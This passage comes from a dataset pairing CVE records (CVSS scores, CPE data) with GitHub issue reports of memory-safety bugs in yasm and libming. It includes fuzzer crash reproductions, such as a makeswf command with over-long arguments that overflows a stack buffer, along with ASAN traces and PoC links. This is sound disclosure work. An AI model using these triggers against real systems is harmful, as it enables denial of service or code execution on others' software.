#5 0x62fb9e in bin_objfmt_output /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/objfmts/bin/bin-objfmt.c:1147:9
#6 0x4d07a2 in do_assemble /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:546:5
#7 0x4ccce0 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:749:12
#8 0x7f1562a88082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: 32 byte(s) leaked in 2 allocation(s).
```
| yasm memory leak | https://api.github.com/repos/yasm/yasm/issues/210/comments | 5 | 2023-03-01T02:27:11Z | 2024-03-22T11:43:38Z | https://github.com/yasm/yasm/issues/210 | 1,604,119,944 | 210 |
CVE-2023-31973 | 2023-05-09T14:15:13.737 | yasm v1.3.0 was discovered to contain a use after free via the function expand_mmac_params at /nasm/nasm-pp.c. Note: Multiple third parties dispute this as a bug and not a vulnerability according to the YASM security policy. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/yasm/yasm/issues/207"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:tortall:yasm:1.3.0:*:*:*:*:*:*:*",
"matchCriteriaId": "1453CF78-5025-49BF-A1A6-C62F948B5735",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/yasm/yasm/issues/207 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"yasm",
"yasm"
] | I found a heap-use-after-free in yasm.
Please confirm.
Thanks!
Test Environment
Ubuntu 20.04, 64 bit yasm (version: v1.3.0 ;master)
How to trigger
Compile the program with AddressSanitizer
Run command $ ./yasm -w -W -M $PoC
Details
ASAN report
$./yasm -w -W -M $PoC
```
yasm: warning: unrecognized option `-W'
yasm: file name already has no extension: output will be in `yasm.out'
=================================================================
==973036==ERROR: AddressSanitizer: heap-use-after-free on address 0x60e0000011c8 at pc 0x0000005b6499 bp 0x7ffc2b8cc4f0 sp 0x7ffc2b8cc4e8
READ of size 8 at 0x60e0000011c8 thread T0
#0 0x5b6498 in expand_mmac_params /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:3871:33
#1 0x5b13b4 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5070:21
#2 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#3 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#4 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#5 0x7fd75a0e2082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#6 0x41d46d in _start (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x41d46d)
0x60e0000011c8 is located 8 bytes inside of 160-byte region [0x60e0000011c0,0x60e000001260)
freed by thread T0 here:
#0 0x4999b2 in free (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x4999b2)
#1 0x53d597 in def_xfree /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:113:5
#2 0x5b381a in free_mmacro /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:1163:5
#3 0x5b05e3 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5002:25
#4 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#5 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#6 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#7 0x7fd75a0e2082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
previously allocated by thread T0 here:
#0 0x499c1d in __interceptor_malloc (/home/root/randomFuzz/yasm/yasm/yasm_w_W_M/yasm+0x499c1d)
#1 0x53d0af in def_xmalloc /home/root/FuzzDateset/yasm/yasm-1.3.0/libyasm/xmalloc.c:69:14
#2 0x5c5744 in do_directive /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:3204:24
#3 0x5b13c1 in pp_getline /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:5075:13
#4 0x5a7c61 in nasm_preproc_get_included_file /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-preproc.c:263:16
#5 0x4ce053 in do_preproc_only /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:310:23
#6 0x4cca12 in main /home/root/FuzzDateset/yasm/yasm-1.3.0/frontends/yasm/yasm.c:724:16
#7 0x7fd75a0e2082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-use-after-free /home/root/FuzzDateset/yasm/yasm-1.3.0/modules/preprocs/nasm/nasm-pp.c:3871:33 in expand_mmac_params
Shadow bytes around the buggy address:
0x0c1c7fff81e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff81f0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c1c7fff8200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8210: 00 00 00 00 fa fa fa fa fa fa fa fa 00 00 00 00
0x0c1c7fff8220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c1c7fff8230: fa fa fa fa fa fa fa fa fd[fd]fd fd fd fd fd fd
0x0c1c7fff8240: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0c1c7fff8250: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c1c7fff8260: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c1c7fff8270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c1c7fff8280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==973036==ABORTING
```
The URL of PoC is [PoC](https://github.com/randomssr/PoCs/blob/main/yasm/132-UAF) | yasm heap use-after-free bug | https://api.github.com/repos/yasm/yasm/issues/207/comments | 1 | 2023-03-01T02:03:35Z | 2023-05-10T05:20:08Z | https://github.com/yasm/yasm/issues/207 | 1,604,096,378 | 207 |
CVE-2023-31976 | 2023-05-09T14:15:13.780 | libming v0.4.8 was discovered to contain a stack buffer overflow via the function makeswf_preprocess at /util/makeswf_utils.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/libming/libming/issues/265"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:libming:libming:0.4.8:*:*:*:*:*:*:*",
"matchCriteriaId": "DD92BC79-2548-4C6F-9BDD-26C12BDF68AC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/libming/libming/issues/265 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"libming",
"libming"
] |
When the program input contains the option of "-D" or "-o" , the program will cause stack buffer overflow error.
Test Environment
Ubuntu 20.04, 64 bit libming (master ; commit [04aee52](https://github.com/libming/libming/commit/04aee52363688426eab74f5d6180c149654a6473))
How to trigger
Compile the program with AddressSanitizer
Run command $ touch aaa
$ ./makeswf -D iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii -o aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaa
Details
ASAN report
```
$ ./makeswf -D iiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii -o aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaa
Output file name: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Output compression level: 9
Output SWF version: 6
Preprocessing ../../aaa... =================================================================
==2497535==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffd856fb8a0 at pc 0x00000043d930 bp 0x7ffd856fb370 sp 0x7ffd856fab08
WRITE of size 1291 at 0x7ffd856fb8a0 thread T0
#0 0x43d92f in __interceptor_vsprintf (/home/root/Dataset/libming/sourcecode/origin_asan/install/bin/makeswf+0x43d92f)
#1 0x43e913 in sprintf (/home/root/Dataset/libming/sourcecode/origin_asan/install/bin/makeswf+0x43e913)
#2 0x4d0fca in makeswf_preprocess /home/root/Dataset/libming/sourcecode/libming-ming-0_4_8/util/makeswf_utils.c:251:2
#3 0x4d0a33 in makeswf_compile_source /home/root/Dataset/libming/sourcecode/libming-ming-0_4_8/util/makeswf_utils.c:114:10
#4 0x4cddc6 in main /home/root/Dataset/libming/sourcecode/libming-ming-0_4_8/util/makeswf.c:412:9
#5 0x7f3229403082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#6 0x41d5bd in _start (/home/root/Dataset/libming/sourcecode/origin_asan/install/bin/makeswf+0x41d5bd)
Address 0x7ffd856fb8a0 is located in stack of thread T0 at offset 1056 in frame
#0 0x4d0d7f in makeswf_preprocess /home/root/Dataset/libming/sourcecode/libming-ming-0_4_8/util/makeswf_utils.c:240
This frame has 2 object(s):
[32, 1056) 'buf' (line 241)
[1184, 1328) 'statbuf' (line 243) <== Memory access at offset 1056 partially underflows this variable
HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork
(longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/root/Dataset/libming/sourcecode/origin_asan/install/bin/makeswf+0x43d92f) in __interceptor_vsprintf
Shadow bytes around the buggy address:
0x100030ad76c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100030ad76d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100030ad76e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100030ad76f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100030ad7700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x100030ad7710: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2
0x100030ad7720: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
0x100030ad7730: 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
0x100030ad7740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x100030ad7750: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00 00 00 00
0x100030ad7760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2497535==ABORTING
```
| makeswf stack buffer overflow | https://api.github.com/repos/libming/libming/issues/265/comments | 0 | 2023-02-28T06:17:08Z | 2023-02-28T06:17:08Z | https://github.com/libming/libming/issues/265 | 1,602,439,311 | 265 |
CVE-2021-31240 | 2023-05-09T16:15:14.147 | An issue found in libming v.0.4.8 allows a local attacker to execute arbitrary code via the parseSWF_IMPORTASSETS function in the parser.c file. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/libming/libming/issues/218"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:libming:libming:0.4.8:*:*:*:*:*:*:*",
"matchCriteriaId": "DD92BC79-2548-4C6F-9BDD-26C12BDF68AC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/libming/libming/issues/218 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"libming",
"libming"
] | Hi, I found a memory leak problem.
version: 0.4.8
command: swftophp poc
poc:
[parser.c_2556.zip](https://github.com/libming/libming/files/6276040/parser.c_2556.zip)
Here is the report from ASAN:
```
`header indicates a filesize of 761 but filesize is 550
<?php
$m = new SWFMovie(8);
ming_setscale(1.0);
$m->setRate(192.371094);
$m->setDimension(-13061, -13172);
/* Note: xMin and/or yMin are not 0! */
$m->setFrames(49344);
/*Unknown block type 803*/
/*Unknown block type 16*/
/*Unknown block type 307*/
/*Unknown block type 493*/
/*Unknown block type 846*/
/*Unknown block type 897*/
/*Unknown block type 927*/
/*Unknown block type 898*/
/*Unknown block type 523*/
Stream out of sync after parse of blocktype 57 (SWF_IMPORTASSETS). 332 but expecting 340.
/* SWF_IMPORTASSETS */
/*Unknown block type 970*/
/*Unknown block type 401*/
truncated file
=================================================================
==52194==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 269 byte(s) in 10 object(s) allocated from:
#0 0x4d2558 in malloc /home/radon/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:66
#1 0x595d03 in readBytes /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/read.c:227:17
#2 0x594308 in parseSWF_UNKNOWNBLOCK /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/parser.c:3551:28
#3 0x5296d1 in blockParse /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/blocktypes.c:148:10
#4 0x52831b in readMovie /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/main.c:265:11
#5 0x526bbc in main /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/main.c:350:2
#6 0x7f4aeee7e83f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
Direct leak of 256 byte(s) in 1 object(s) allocated from:
#0 0x4d2558 in malloc /home/radon/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:66
#1 0x595edf in readString /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/read.c:242:17
#2 0x580725 in parseSWF_IMPORTASSETS /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/parser.c:2553:20
#3 0x529615 in blockParse /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/blocktypes.c:145:14
#4 0x52831b in readMovie /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/main.c:265:11
#5 0x526bbc in main /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/main.c:350:2
#6 0x7f4aeee7e83f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
Direct leak of 1 byte(s) in 1 object(s) allocated from:
#0 0x4d2558 in malloc /home/radon/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:66
#1 0x580908 in parseSWF_IMPORTASSETS /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/parser.c:2556:32
#2 0x529615 in blockParse /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/blocktypes.c:145:14
#3 0x52831b in readMovie /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/main.c:265:11
#4 0x526bbc in main /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/main.c:350:2
#5 0x7f4aeee7e83f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
Direct leak of 1 byte(s) in 1 object(s) allocated from:
#0 0x4d2558 in malloc /home/radon/build/llvm_tools/llvm-4.0.0.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:66
#1 0x580850 in parseSWF_IMPORTASSETS /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/parser.c:2555:29
#2 0x529615 in blockParse /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/blocktypes.c:145:14
#3 0x52831b in readMovie /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/main.c:265:11
#4 0x526bbc in main /home/radon/Documents/subject/Delta/Type2/libming/libming-CVE-2018-8962/obj-aflgo/util/../../util/main.c:350:2
#5 0x7f4aeee7e83f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2083f)
SUMMARY: AddressSanitizer: 527 byte(s) leaked in 13 allocation(s).
```
| Memory leaks in parseSWF_IMPORTASSETS | https://api.github.com/repos/libming/libming/issues/218/comments | 0 | 2021-04-08T04:46:50Z | 2021-04-08T04:46:50Z | https://github.com/libming/libming/issues/218 | 853,054,686 | 218 |
CVE-2023-30083 | 2023-05-09T16:15:14.373 | Buffer Overflow vulnerability found in Libming swftophp v.0.4.8 allows a local attacker to cause a denial of service via the newVar_N in util/decompile.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/libming/libming/issues/266"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:libming:libming:0.4.8:*:*:*:*:*:*:*",
"matchCriteriaId": "DD92BC79-2548-4C6F-9BDD-26C12BDF68AC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/libming/libming/issues/266 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"libming",
"libming"
] | Heap buffer overflow in the latest version of libming at function newVar_N in util/decompile.c:654.
## Environment
Ubuntu 18.04, 64 bit
libming 0.4.8
## Steps to reproduce
1. download file
```
wget https://github.com/libming/libming/archive/refs/tags/ming-0_4_8.tar.gz
tar -zxvf ming-0_4_8.tar.gz
```
2. compile libming with ASAN
```
cd libming-ming-0_4_8
./autogen.sh
export FORCE_UNSAFE_CONFIGURE=1
export LLVM_COMPILER=clang
CC=wllvm CXX=wllvm++ CFLAGS="-g -O0 -fcommon -Wno-error" ./configure --prefix=`pwd`/obj-bc --with-php-config=/usr/bin/php-config7.2 --enable-static --disable-shared
make
make install
cd obj-bc/bin/
extract-bc swftophp
clang -fsanitize=address -lz -lm swftophp.bc -o swftophp_asan
```
3. command for reproducing the error
```
./swftophp_asan poc
```
Download poc:
[libming_0-4-8_swftophp_heap-buffer-overflow_decompile654.zip](https://github.com/libming/libming/files/11025531/libming_0-4-8_swftophp_heap-buffer-overflow_decompile654.zip)
## ASAN report
```
root@2413df779df0:~/compiler1804/libming-ming-0_4_8/obj-bc/bin# ./swftophp_asan libming_0-4-8_swftophp_heap-buffer-overflow_decompile654.swf
header indicates a filesize of 0 but filesize is 166
<?php
$m = new SWFMovie(0);
ming_setscale(1.0);
$m->setRate(0.000000);
$m->setDimension(0, 1);
/* Note: xMin and/or yMin are not 0! */
$m->setFrames(0);
/* SWF_DOACTION */
16:SWFACTION_FSCOMMAND2
Can't get int for type: 10
=================================================================
==60490==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x619000001880 at pc 0x000000439494 bp 0x7ffd310a9d90 sp 0x7ffd310a9540
READ of size 1025 at 0x619000001880 thread T0
#0 0x439493 in __interceptor_strlen.part.36 /root/LLVM/llvm/projects/compiler-rt/lib/asan/../sanitizer_common/sanitizer_common_interceptors.inc:372
